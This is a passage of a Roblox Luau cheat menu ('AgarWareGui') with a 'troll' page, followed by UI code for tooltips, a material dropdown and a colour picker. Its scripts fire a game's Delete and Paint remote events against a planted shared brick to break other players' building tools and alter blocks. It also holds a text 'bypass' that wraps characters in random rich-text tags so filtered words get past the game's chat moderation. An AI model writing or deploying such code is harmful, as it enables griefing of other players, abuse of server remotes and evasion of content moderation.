		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		return frame
	end
	
	local function hookTooltip(button, tooltipFrame)
		if not button then return end
	
		button.MouseEnter:Connect(function()
			local abs = button.AbsolutePosition
			local size = button.AbsoluteSize
			tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
			tooltipFrame.Visible = true
		end)
	
		button.MouseLeave:Connect(function()
			tooltipFrame.Visible = false
		end)
	end
	
	-- ============================================================
	-- CREATE TOOLTIPS
	-- ============================================================
	
	local unanchorTooltip = makeTooltip(
		"When enabled, all blocks that are placed will be unanchored. When disabled, all blocks that are placed will be anchored."
	)
	
	local richTextTooltip = makeTooltip(
		"Enabling this lets you bypass words in the spray but this will sometimes fail and tag."
	)
	
	-- ============================================================
	-- HOOK THEM
	-- ============================================================
	
	hookTooltip(UnanchorRepTickBox, unanchorTooltip)
	hookTooltip(RichTextRepTickBox, richTextTooltip)
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			unanchorTooltip:Destroy()
			richTextTooltip:Destroy()
		end
	end)
end;
task.spawn(C_133);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow.BKitFixScript
local function C_139()
local script = G2L["139"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	local BKitFixRow = script.Parent
	local BKitFixButton = BKitFixRow.BKitFixButton
	local BKitFixHelp = BKitFixRow.BKitFixHelp
	local originalText = BKitFixButton.Text
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	-- ============================================================
	-- TOOLTIP SETUP
	-- ============================================================
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local tooltipStroke = Instance.new("UIStroke", tooltipFrame)
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	
	local tooltipPadding = Instance.new("UIPadding", tooltipFrame)
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	
	local tooltipLabel = Instance.new("TextLabel", tooltipFrame)
	tooltipLabel.BackgroundTransparency = 1
	tooltipLabel.Text = "Fixes Bkit tools not working properly. Fixing it only works on you, and you can only build on existing blocks"
	tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
	tooltipLabel.TextSize = 14
	tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
	tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
	tooltipLabel.Font = Enum.Font.GothamSemibold
	tooltipLabel.TextWrapped = true
	tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
	tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
	tooltipLabel.ZIndex = 101
	
	BKitFixHelp.MouseEnter:Connect(function()
		local abs = BKitFixHelp.AbsolutePosition
		local size = BKitFixHelp.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	
	BKitFixHelp.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	-- ============================================================
	-- FIX FUNCTION
	-- Finds any tool in character or backpack and resets its script
	-- No need to hold tool out
	-- ============================================================
	local function fixBkit()
		local rs = game:GetService("ReplicatedStorage")
		if not rs:FindFirstChild("Brick") then
			local brick = Instance.new("Part")
			brick.Name = "Brick"
			brick.Parent = rs
		end
	
		local character = LocalPlayer.Character
		if not character then return end
	
		local function resetToolScript(tool)
			local s = tool:FindFirstChild("Script")
			if s then
				s.Disabled = true
				task.wait()
				s.Disabled = false
			end
		end
	
		-- Reset scripts in character (equipped tools)
		for _, v in pairs(character:GetChildren()) do
			if v:IsA("Tool") then
				resetToolScript(v)
			end
		end
	
		-- Reset scripts in backpack (unequipped tools)
		for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do
			if v:IsA("Tool") then
				resetToolScript(v)
			end
		end
	end
	
	local function onCharacterAdded(character)
		task.wait(1)
		fixBkit()
	end
	
	if LocalPlayer.Character then
		onCharacterAdded(LocalPlayer.Character)
	end
	LocalPlayer.CharacterAdded:Connect(onCharacterAdded)
	
	-- ============================================================
	-- BUTTON CLICK
	-- ============================================================
	BKitFixButton.MouseButton1Click:Connect(function()
		BKitFixButton.Text = "FIXING..."
		task.spawn(function()
			local success, err = pcall(fixBkit)
			if success then
				BKitFixButton.Text = "FIXED!"
				task.wait(3)
				BKitFixButton.Text = originalText
			else
				BKitFixButton.Text = "FAILED"
				task.wait(3)
				BKitFixButton.Text = originalText
			end
		end)
	end)
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_139);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitBreakRow.BKitBreakScript
local function C_13d()
local script = G2L["13d"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local BKitBreakRow = script.Parent
	local BKitBreakButton = BKitBreakRow.BKitBreakButton
	local originalText = BKitBreakButton.Text
	
	BKitBreakButton.MouseButton1Click:Connect(function()
		BKitBreakButton.Text = "BREAKING..."
	
		task.spawn(function()
			local success, err = pcall(function()
				local character = LocalPlayer.Character
				if not character then error("No character") end
	
				local humanoid = character:FindFirstChild("Humanoid")
				if not humanoid then error("No humanoid") end
	
				-- Find delete tool in backpack
				local deleteTool = LocalPlayer.Backpack:FindFirstChild("Delete")
				if not deleteTool then error("Delete tool not found in backpack") end
	
				-- Save currently equipped tool
				local previousTool = character:FindFirstChildOfClass("Tool")
	
				-- Equip Delete tool
				humanoid:EquipTool(deleteTool)
				task.wait(0.1) -- Wait for tool to equip
	
				-- Get the event from the equipped tool
				local event = deleteTool:WaitForChild("Script"):WaitForChild("Event")
	
				-- Get Brick from ReplicatedStorage
				local rs = game:GetService("ReplicatedStorage")
				local brick = rs:FindFirstChild("Brick")
				if not brick then error("No Brick in ReplicatedStorage") end
	
				-- Fire delete event
				event:FireServer(brick, character.HumanoidRootPart.Position)
	
				task.wait(0.1)
	
				-- Unequip Delete tool
				humanoid:UnequipTools()
	
				-- Re-equip previous tool if there was one
				if previousTool and previousTool.Parent == LocalPlayer.Backpack then
					humanoid:EquipTool(previousTool)
				end
			end)
	
			if success then
				BKitBreakButton.Text = "BROKEN!"
				task.wait(3)
				BKitBreakButton.Text = originalText
			else
				BKitBreakButton.Text = "FAILED"
				warn("[BKitBreak] Error:", err)
				task.wait(3)
				BKitBreakButton.Text = originalText
			end
		end)
	end)
end;
task.spawn(C_13d);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow.SprayRepChanger.SprayRepScript
local function C_142()
local script = G2L["142"];
	local SprayRepRow = script.Parent.Parent
	local SprayRepChanger = SprayRepRow:WaitForChild("SprayRepChanger")
	local RepGroup = SprayRepRow.Parent
	local RichTextRepRow = RepGroup:FindFirstChild("RichTextRepRow")
	
	-- Store spray text
	local sprayText = ""
	
	-- ============================================================
	-- TEXT BYPASS (made by Normalxsx/2AreYouMental110)
	-- ============================================================
	local function bypassText(txt)
		if txt == nil or txt == "" then
			return ""
		end
	
		local bypassmarkups = {}
		local alphabet = "acdefghjklmnopqrtvwxyz"
		for i = 1, string.len(alphabet) do
			table.insert(bypassmarkups, string.sub(alphabet, i, i))
		end
	
		local returntxt = ""
		for i = 1, string.len(txt) do
			local char = string.sub(txt, i, i)
			if i % 2 == 0 then
				returntxt = returntxt .. char
			else
				local selectedmarkup = bypassmarkups[math.random(1, #bypassmarkups)]
				returntxt = returntxt .. "<" .. selectedmarkup .. ">" .. char .. "</" .. selectedmarkup .. ">"
			end
		end
	
		return returntxt
	end
	
	-- ============================================================
	-- TEXT CHANGED
	-- ============================================================
	SprayRepChanger:GetPropertyChangedSignal("Text"):Connect(function()
		local text = SprayRepChanger.Text
	
		-- If empty or placeholder, set to empty
		if text == "" or text == SprayRepChanger.PlaceholderText then
			sprayText = ""
		else
			-- Check if RichText is enabled
			local isRichTextEnabled = RichTextRepRow and RichTextRepRow:GetAttribute("RichTextEnabled")
	
			if isRichTextEnabled then
				-- Apply bypass to the text
				sprayText = bypassText(text)
			else
				-- Use text as-is without bypass
				sprayText = text
			end
		end
	
		-- Store in attribute for ApplyChanges to read
		SprayRepRow:SetAttribute("SprayText", sprayText)
	end)
	
	-- ============================================================
	-- INITIALIZE
	-- ============================================================
	SprayRepRow:SetAttribute("SprayText", "")
	
	print("[SprayRep] Initialized - Empty by default")
end;
task.spawn(C_142);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.APPLYCHANGESRow.APPLYCHANGESScript
local function C_144()
local script = G2L["144"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local APPLYCHANGESRow = script.Parent
	local APPLYCHANGESButton = APPLYCHANGESRow:WaitForChild("APPLYCHANGESButton")
	local RepGroup = APPLYCHANGESRow.Parent
	local ColorRepRow = RepGroup:FindFirstChild("ColorRepRow")
	local UnanchorRepRow = RepGroup:FindFirstChild("UnanchorRepRow")
	local SprayRepRow = RepGroup:FindFirstChild("SprayRepRow")
	local SprayColorRepRow = RepGroup:FindFirstChild("SprayColorRepRow")
	local MaterialRepRow = RepGroup:FindFirstChild("MaterialRepRow")
	
	local originalText = APPLYCHANGESButton.Text
	local isPainting = false
	local cancelPainting = false
	
	-- ============================================================
	-- GET TOOLS AND EVENTS
	-- ============================================================
	local function getPaintTool()
		return LocalPlayer.Backpack:FindFirstChild("Paint") 
			or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint"))
	end
	
	local function getPaintEvent()
		local tool = getPaintTool()
		if tool then
			return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event")
		end
		return nil
	end
	
	local function getRepBrick()
		local repStorage = game:GetService("ReplicatedStorage")
		return repStorage:FindFirstChild("Brick")
	end
	
	-- ============================================================
	-- EQUIP PAINT TOOL
	-- ============================================================
	local function equipPaintTool()
		local paintTool = LocalPlayer.Backpack:FindFirstChild("Paint")
		if not paintTool then
			return false, "Paint tool not found in backpack"
		end
	
		local character = LocalPlayer.Character
		if not character then
			return false, "No character"
		end
	
		local humanoid = character:FindFirstChild("Humanoid")
		if not humanoid then
			return false, "No humanoid"
		end
	
		-- Equip Paint tool if not already equipped
		if not character:FindFirstChild("Paint") then
			humanoid:EquipTool(paintTool)
			task.wait(0.1)
		end
	
		return true
	end
	
	-- ============================================================
	-- PAINT REP BRICK
	-- ============================================================
	local function paintRepBrick()
		if isPainting then
			-- Cancel current painting
			cancelPainting = true
			return
		end
	
		isPainting = true
		cancelPainting = false
		APPLYCHANGESButton.Text = "Painting Block..."
	
		task.spawn(function()
			local success, errorMsg = pcall(function()
				-- Get selected color
				local selectedColor = ColorRepRow and ColorRepRow:GetAttribute("SelectedColor")
				if not selectedColor then
					selectedColor = Color3.fromRGB(192, 192, 192) -- Default gray
				end
	
				-- Get rep brick
				local repBrick = getRepBrick()
				if not repBrick then
					error("Rep brick not found in ReplicatedStorage")
				end
	
				-- Save currently equipped tool
				local character = LocalPlayer.Character
				if not character then
					error("No character")
				end
	
				local previousTool = character:FindFirstChildOfClass("Tool")
				local wasPaintEquipped = previousTool and previousTool.Name == "Paint"
	
				-- Equip paint tool if not already equipped
				if not wasPaintEquipped then
					local equipped, equipError = equipPaintTool()
					if not equipped then
						error(equipError)
					end
				end
	
				-- Get paint event
				local paintEvent = getPaintEvent()
				if not paintEvent then
					error("Paint event not found")
				end
	
				-- Paint all 6 sides (just color, no toxify)
				local sides = {
					Enum.NormalId.Front,
					Enum.NormalId.Right,
					Enum.NormalId.Back,
					Enum.NormalId.Left,
					Enum.NormalId.Top,
					Enum.NormalId.Bottom
				}
	
				for i, side in ipairs(sides) do
					-- Check if cancelled
					if cancelPainting then
						error("Cancelled")
					end
	
					pcall(function()
						paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", selectedColor, "", "")
					end)
	
					task.wait(0.05)
				end
	
				-- Apply material
				local selectedMaterial = MaterialRepRow and MaterialRepRow:GetAttribute("SelectedMaterial")
				if selectedMaterial and selectedMaterial ~= "" then
					-- Apply material on one side (it applies to whole block)
					pcall(function()
						paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", selectedColor, selectedMaterial, "")
					end)
					task.wait(0.1)
				end
	
				-- Get spray text
				local sprayText = SprayRepRow and SprayRepRow:GetAttribute("SprayText")
	
				-- Always clear spray first (whether adding new text or removing it)
				for i, side in ipairs(sides) do
					-- Check if cancelled
					if cancelPainting then
						error("Cancelled")
					end
	
					-- Retry clearing spray on each side
					for retry = 1, 2 do
						pcall(function()
							paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", selectedColor, "spray", "")
						end)
						task.wait(0.03)
					end
				end
	
				-- Then apply new spray text if it exists
				if sprayText and sprayText ~= "" then
					-- Get spray color (default to white if not set)
					local sprayColor = SprayColorRepRow and SprayColorRepRow:GetAttribute("SelectedColor")
					if not sprayColor then
						sprayColor = Color3.new(1, 1, 1) -- Default white
					end
	
					-- Spray text on all 6 sides with selected color
					for i, side in ipairs(sides) do
						-- Check if cancelled
						if cancelPainting then
							error("Cancelled")
						end
	
						-- Retry spraying on each side to ensure it shows
						for retry = 1, 2 do
							pcall(function()
								paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", sprayColor, "spray", sprayText)
							end)
							task.wait(0.03)
						end
					end
				end
	
				-- Handle anchoring/unanchoring
				local shouldUnanchor = UnanchorRepRow and UnanchorRepRow:GetAttribute("UnanchorEnabled")
	
				if shouldUnanchor ~= nil then
					-- Check current anchor state
					local isCurrentlyAnchored = repBrick.Anchored
	
					if shouldUnanchor and isCurrentlyAnchored then
						-- Clear spray on Top side first (so anchor event works)
						pcall(function()
							paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", selectedColor, "spray", "")
						end)
						task.wait(0.1)
	
						-- Unanchor the brick
						pcall(function()
							paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", Color3.new(0, 0, 0), "anchor", "")
						end)
						task.wait(0.1)
	
						-- Re-apply spray on Top side if there was text
						if sprayText and sprayText ~= "" then
							pcall(function()
								paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", Color3.new(1, 1, 1), "spray", sprayText)
							end)
							task.wait(0.05)
						end
					elseif not shouldUnanchor and not isCurrentlyAnchored then
						-- Clear spray on Top side first (so anchor event works)
						pcall(function()
							paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", selectedColor, "spray", "")
						end)
						task.wait(0.1)
	
						-- Anchor the brick
						pcall(function()
							paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", Color3.new(0, 0, 0), "anchor", "")
						end)
						task.wait(0.1)
	
						-- Re-apply spray on Top side if there was text
						if sprayText and sprayText ~= "" then
							pcall(function()
								paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", Color3.new(1, 1, 1), "spray", sprayText)
							end)
							task.wait(0.05)
						end
					end
				end
	
				-- Restore previous tool or unequip
				if not wasPaintEquipped then
					local humanoid = character:FindFirstChild("Humanoid")
					if humanoid then
						humanoid:UnequipTools()
						task.wait(0.1)
	
						-- Re-equip previous tool if there was one
						if previousTool and previousTool.Parent == LocalPlayer.Backpack then
							humanoid:EquipTool(previousTool)
						end
					end
				end
			end)
	
			isPainting = false
	
			if cancelPainting then
				APPLYCHANGESButton.Text = "Cancelled"
				task.wait(1)
			elseif success then
				APPLYCHANGESButton.Text = "Applied!"
				task.wait(2)
			else
				APPLYCHANGESButton.Text = "Paint tool not found!"
				warn("[ApplyChanges] Error:", errorMsg)
				task.wait(2)
			end
	
			APPLYCHANGESButton.Text = originalText
			cancelPainting = false
		end)
	end
	
	-- ============================================================
	-- BUTTON CLICK
	-- ============================================================
	APPLYCHANGESButton.MouseButton1Click:Connect(paintRepBrick)
end;
task.spawn(C_144);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow.UnanchorRepScript
local function C_147()
local script = G2L["147"];
	local UnanchorRepRow = script.Parent
	local UnanchorRepTickBox = UnanchorRepRow:WaitForChild("UnanchorRepTickBox")
	
	local function getAccentColor()
		local RepGroup = UnanchorRepRow.Parent
		local a = RepGroup:FindFirstChild("RepAccentColor")
		return a and a.BackgroundColor3 or Color3.new(1, 1, 1)
	end
	
	-- State
	local isEnabled = false
	
	-- ============================================================
	-- TOGGLE
	-- ============================================================
	local function toggle()
		isEnabled = not isEnabled
	
		if isEnabled then
			UnanchorRepTickBox.BackgroundColor3 = getAccentColor()
		else
			UnanchorRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
	
		-- Store in attribute for ApplyChanges to read
		UnanchorRepRow:SetAttribute("UnanchorEnabled", isEnabled)
	end
	
	-- ============================================================
	-- CLICK HANDLER
	-- ============================================================
	UnanchorRepTickBox.MouseButton1Click:Connect(toggle)
	
	-- ============================================================
	-- INITIALIZE
	-- ============================================================
	UnanchorRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	UnanchorRepRow:SetAttribute("UnanchorEnabled", false)
	
	print("[UnanchorRep] OFF by default")
end;
task.spawn(C_147);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepRow.MaterialRepScript
local function C_14d()
local script = G2L["14d"];
	local Players = game:GetService("Players")
	local UserInputService = game:GetService("UserInputService")
	
	local MaterialRepRow = script.Parent
	local MaterialRepDropdown = MaterialRepRow:WaitForChild("MaterialRepDropdown")
	
	local selectedMaterial = "Smooth"
	local isOpen = false
	
	local ROW_HEIGHT = 16
	local MAX_ROWS = 7
	local BG = Color3.fromRGB(24, 24, 24)
	local BORDER = Color3.fromRGB(57, 57, 57)
	local WHITE = Color3.new(1, 1, 1)
	local DIM = Color3.fromRGB(120, 120, 120)
	local BLUE = Color3.fromRGB(0, 123, 255)
	local HOVER = Color3.fromRGB(36, 36, 36)
	
	local MATERIALS = {
		"Smooth", "Plastic", "Tiles", "Bricks", "Planks", "Ice", "Grass", "Sand",
		"Snow", "Glass", "Wood", "Stone", "Pebble", "Marble", "Granite",
		"Steel", "Metal", "Asphalt", "Concrete", "Pavement",
		"Neon", "Toxic"
	}
	
	if not game:IsLoaded() then
		game.Loaded:Wait()
	end
	
	repeat task.wait() until MaterialRepDropdown.AbsoluteSize.X > 0
	
	local mainLabel = Instance.new("TextLabel")
	mainLabel.Name = "MainLabel"
	mainLabel.Size = UDim2.new(1, -24, 1, 0)
	mainLabel.BackgroundTransparency = 1
	mainLabel.Text = "Smooth"
	mainLabel.TextColor3 = WHITE
	mainLabel.TextSize = 14
	mainLabel.Font = Enum.Font.Code
	mainLabel.TextXAlignment = Enum.TextXAlignment.Center
	mainLabel.TextTruncate = Enum.TextTruncate.AtEnd
	mainLabel.ZIndex = 2
	mainLabel.Parent = MaterialRepDropdown
	
	local mainArrow = Instance.new("TextLabel")
	mainArrow.Name = "MainArrow"
	mainArrow.Size = UDim2.new(0, 24, 1, 0)
	mainArrow.Position = UDim2.new(1, -24, 0, 0)
	mainArrow.BackgroundTransparency = 1
	mainArrow.Text = "▼"
	mainArrow.TextColor3 = WHITE
	mainArrow.TextSize = 14
	mainArrow.Font = Enum.Font.Code
	mainArrow.TextXAlignment = Enum.TextXAlignment.Center
	mainArrow.ZIndex = 2
	mainArrow.Parent = MaterialRepDropdown
	
	local function getScreenGui()
		local p = MaterialRepRow
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	local panel = Instance.new("Frame")
	panel.BackgroundColor3 = BG
	panel.BorderSizePixel = 0
	panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT)
	panel.ZIndex = 999
	panel.Visible = false
	panel.Parent = getScreenGui()
	
	local panelStroke = Instance.new("UIStroke")
	panelStroke.Color = BORDER
	panelStroke.Thickness = 1
	panelStroke.Parent = panel
	
	local searchBox = Instance.new("TextBox")
	searchBox.Size = UDim2.new(1, 0, 0, ROW_HEIGHT)
	searchBox.BackgroundColor3 = BG
	searchBox.BorderSizePixel = 0
	searchBox.Text = ""
	searchBox.PlaceholderText = "Search materials..."
	searchBox.PlaceholderColor3 = DIM
	searchBox.TextColor3 = WHITE
	searchBox.TextSize = 14
	searchBox.Font = Enum.Font.Code
	searchBox.TextXAlignment = Enum.TextXAlignment.Left
	searchBox.ClearTextOnFocus = false
	searchBox.ZIndex = 1000
	searchBox.Parent = panel
	
	local searchPad = Instance.new("UIPadding")
	searchPad.PaddingLeft = UDim.new(0, 6)
	searchPad.PaddingRight = UDim.new(0, 24)
	searchPad.Parent = searchBox
	
	local searchArrow = Instance.new("TextButton")
	searchArrow.Size = UDim2.new(0, 24, 0, ROW_HEIGHT)
	searchArrow.Position = UDim2.new(1, -24, 0, 0)
	searchArrow.BackgroundTransparency = 1
	searchArrow.Text = "▲"
	searchArrow.TextColor3 = WHITE
	searchArrow.TextSize = 14
	searchArrow.Font = Enum.Font.Code
	searchArrow.BorderSizePixel = 0
	searchArrow.ZIndex = 1001
	searchArrow.Parent = panel
	
	local scrollFrame = Instance.new("ScrollingFrame")
	scrollFrame.Position = UDim2.new(0, 0, 0, ROW_HEIGHT)
	scrollFrame.Size = UDim2.new(1, 0, 0, 0)
	scrollFrame.BackgroundTransparency = 1
	scrollFrame.BorderSizePixel = 0
	scrollFrame.ScrollBarThickness = 2
	scrollFrame.ScrollBarImageColor3 = BORDER
	scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0)
	scrollFrame.ZIndex = 1000
	scrollFrame.Parent = panel
	
	local listLayout = Instance.new("UIListLayout")
	listLayout.SortOrder = Enum.SortOrder.LayoutOrder
	listLayout.Parent = scrollFrame
	
	local function updatePanelSize(rowCount)
		local visibleRows = math.min(rowCount, MAX_ROWS)
		local scrollH = visibleRows * ROW_HEIGHT
		scrollFrame.Size = UDim2.new(1, 0, 0, scrollH)
		panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT + scrollH)
		scrollFrame.CanvasSize = UDim2.new(0, 0, 0, rowCount * ROW_HEIGHT)
	end
	
	local function buildList(filter)
		for _, child in pairs(scrollFrame:GetChildren()) do
			if child:IsA("Frame") then child:Destroy() end
		end
	
		local filtered = {}
		for _, mat in ipairs(MATERIALS) do
			if filter == "" or mat:lower():find(filter:lower(), 1, true) then
				table.insert(filtered, mat)
			end
		end
	
		for i, mat in ipairs(filtered) do
			local isSelected = selectedMaterial == mat
	
			local row = Instance.new("Frame")
			row.Size = UDim2.new(1, 0, 0, ROW_HEIGHT)
			row.BackgroundColor3 = isSelected and HOVER or BG
			row.BorderSizePixel = 0
			row.LayoutOrder = i
			row.ZIndex = 1001
			row.Parent = scrollFrame
	
			local nameLabel = Instance.new("TextLabel")
			nameLabel.Size = UDim2.new(1, -12, 1, 0)
			nameLabel.Position = UDim2.new(0, 6, 0, 0)
			nameLabel.BackgroundTransparency = 1
			nameLabel.Text = mat
			nameLabel.TextColor3 = isSelected and BLUE or WHITE
			nameLabel.TextSize = 14
			nameLabel.Font = Enum.Font.Code
			nameLabel.TextXAlignment = Enum.TextXAlignment.Left
			nameLabel.TextTruncate = Enum.TextTruncate.AtEnd
			nameLabel.ZIndex = 1002
			nameLabel.Parent = row
	
			local rowBtn = Instance.new("TextButton")
			rowBtn.Size = UDim2.new(1, 0, 1, 0)
			rowBtn.BackgroundTransparency = 1
			rowBtn.Text = ""
			rowBtn.ZIndex = 1003
			rowBtn.Parent = row
	
			rowBtn.MouseEnter:Connect(function()
				if selectedMaterial ~= mat then
					row.BackgroundColor3 = HOVER
				end
			end)
	
			rowBtn.MouseLeave:Connect(function()
				if selectedMaterial ~= mat then
					row.BackgroundColor3 = BG
				end
			end)
	
			rowBtn.MouseButton1Click:Connect(function()
				selectedMaterial = mat
				MaterialRepRow:SetAttribute("SelectedMaterial", mat)
				mainLabel.Text = mat
				isOpen = false
				panel.Visible = false
				mainLabel.Visible = true
				mainArrow.Visible = true
			end)
		end
	
		updatePanelSize(#filtered)
	end
	
	local function openDropdown()
		isOpen = true
		mainLabel.Visible = false
		mainArrow.Visible = false
	
		repeat task.wait() until MaterialRepDropdown.AbsoluteSize.X > 0
	
		local absPos = MaterialRepDropdown.AbsolutePosition
		local absSize = MaterialRepDropdown.AbsoluteSize
		panel.Position = UDim2.new(0, absPos.X, 0, absPos.Y + absSize.Y)
		panel.Visible = true
	
		searchBox.Text = ""
		buildList("")
	end
	
	local function closeDropdown()
		isOpen = false
		panel.Visible = false
		mainLabel.Visible = true
		mainArrow.Visible = true
	end
	
	MaterialRepDropdown.MouseButton1Click:Connect(function()
		if isOpen then
			closeDropdown()
		else
			openDropdown()
		end
	end)
	
	searchArrow.MouseButton1Click:Connect(closeDropdown)
	
	searchBox:GetPropertyChangedSignal("Text"):Connect(function()
		buildList(searchBox.Text)
	end)
	
	UserInputService.InputBegan:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseButton1 and isOpen then
			local mousePos = input.Position
			local panelPos = panel.AbsolutePosition
			local panelSize = panel.AbsoluteSize
			local btnPos = MaterialRepDropdown.AbsolutePosition
			local btnSize = MaterialRepDropdown.AbsoluteSize
	
			local inPanel = mousePos.X >= panelPos.X and mousePos.X <= panelPos.X + panelSize.X
				and mousePos.Y >= panelPos.Y and mousePos.Y <= panelPos.Y + panelSize.Y
			local inBtn = mousePos.X >= btnPos.X and mousePos.X <= btnPos.X + btnSize.X
				and mousePos.Y >= btnPos.Y and mousePos.Y <= btnPos.Y + btnSize.Y
	
			if not inPanel and not inBtn then
				closeDropdown()
			end
		end
	end)
	
	MaterialRepRow:SetAttribute("SelectedMaterial", "Smooth")
end;
task.spawn(C_14d);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow.ColorRepButton.ColorRepButtonScript
local function C_152()
local script = G2L["152"];
	local ColorRepButton = script.Parent
	local ColorRepRow = ColorRepButton.Parent
	
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	-- Find ColorPicker in ScreenGui
	local function getColorPicker()
		local screenGui = LocalPlayer.PlayerGui:WaitForChild("AgarWareGui")
		return screenGui:WaitForChild("ColorPicker")
	end
	
	local ColorPicker = getColorPicker()
	local ColorPickerTitle = ColorPicker:WaitForChild("ColorPickerTitle")
	local ColorSelect = ColorPicker:WaitForChild("ColorSelect")
	local CloseColorPicker = ColorPicker:WaitForChild("CloseColorPicker")
	local HEX = ColorPicker:WaitForChild("HEX")
	
	-- Store the color when opening
	local colorBeforeOpen = ColorRepButton.BackgroundColor3
	
	-- ============================================================
	-- OPEN COLOR PICKER
	-- ============================================================
	ColorRepButton.MouseButton1Click:Connect(function()
		-- If already open for ColorRep, close it (act like X button)
		if ColorPicker.Visible and ColorPicker:GetAttribute("ActiveFor") == "ColorRep" then
			ColorPicker.Visible = false
			ColorPicker:SetAttribute("ActiveFor", "")
			return
		end
	
		-- Store current color
		colorBeforeOpen = ColorRepButton.BackgroundColor3
	
		-- Set title
		ColorPickerTitle.Text = "Block Color"
	
		-- Set picker to current button color
		local hex = string.format("#%02x%02x%02x", 
			math.floor(colorBeforeOpen.R * 255),
			math.floor(colorBeforeOpen.G * 255),
			math.floor(colorBeforeOpen.B * 255)
		)
	
		-- Wait for ColorPicker functions to be available
		task.wait(0.1)
		if _G.ColorPickerFunctions then
			_G.ColorPickerFunctions.SetColor(hex)
			_G.ColorPickerFunctions.Center() -- Center on first open
		end
	
		-- Show picker
		ColorPicker.Visible = true
	
		-- Mark this as active for ColorRep
		ColorPicker:SetAttribute("ActiveFor", "ColorRep")
	end)
	
	-- ============================================================
	-- SELECT COLOR (Update ColorRepButton)
	-- ============================================================
	ColorSelect.MouseButton1Click:Connect(function()
		if ColorPicker:GetAttribute("ActiveFor") == "ColorRep" then
			-- Update ColorRepButton to selected color
			ColorRepButton.BackgroundColor3 = ColorSelect.BackgroundColor3
	
			-- Store in attribute for other scripts
			ColorRepRow:SetAttribute("SelectedColor", ColorSelect.BackgroundColor3)
	
			-- Hide picker
			ColorPicker.Visible = false
			ColorPicker:SetAttribute("ActiveFor", "")
		end
	end)
	
	-- ============================================================
	-- CLOSE (Keep old color)
	-- ============================================================
	CloseColorPicker.MouseButton1Click:Connect(function()
		if ColorPicker:GetAttribute("ActiveFor") == "ColorRep" then
			-- Don't update ColorRepButton, keep old color
			ColorPicker.Visible = false
			ColorPicker:SetAttribute("ActiveFor", "")
		end
	end)
end;
task.spawn(C_152);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow.SprayColorRepButton.SprayColorRepButtonScript
local function C_156()
local script = G2L["156"];
	local SprayColorRepButton = script.Parent
